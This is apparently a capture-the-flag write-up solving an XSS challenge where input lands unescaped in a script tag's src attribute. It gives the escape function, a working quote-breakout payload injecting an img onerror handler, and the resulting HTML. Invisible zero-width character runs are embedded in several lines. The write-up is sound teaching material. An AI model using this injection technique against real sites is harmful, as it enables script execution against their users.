Medium 1 - Script Src Attribute Breakout

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: attribute_breakout, html_injection, script_tag_injection

Summary

XSS challenge from the sibearsxss series. User input is inserted into the src attribute of a <script> tag. If the input starts with http/https, a "/" is prepended.

Medium 1 - Script Src Attribute Breakout — Web Kids 2.0

Description

XSS challenge from the sibearsxss series. User input is inserted into the src attribute of a <script> tag. If the input starts with http/https, a "/" is prepended.

URL: http://109.233.56.90:11659/xss/medium/1

Analysis

Escape function:

 js read-only • copy allowed Copy
function escape(s) {
  if (/^\s*https?/i.test(s)) { s = "/" + s; }
  return '<script src="' + s + '"></script>';
}

What the function does:

1. Checks if input starts with http or https (with possible leading whitespace)
2. If yes — prepends / (to prevent loading external scripts)
3. Inserts input into the src attribute of a <script> tag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability:

• Quotes " are not escaped
• Can close the attribute and tag, then inject arbitrary HTML

Solution

Close the src attribute, close the </script> tag, inject our own HTML with XSS:

Payload:

 html read-only • copy allowed Copy
"></script><img src=x onerror=prompt("sibears")>

Result after escape():

 html read-only • copy allowed Copy
<script src=""></script><img src=x onerror=prompt("sibears")>"></script>

Breakdown:

1. "> — closes the src attribute and <script> tag
2. </script> — closes the opened script tag
3. <img src=x onerror=prompt("sibears")> — our XSS payload
4. "></script> — leftover from the original template (ignored by browser) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Browser sees:

• Empty <script src=""> — loads nothing
• </script> — closes it
• <img src=x onerror=...> — executes XSS ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍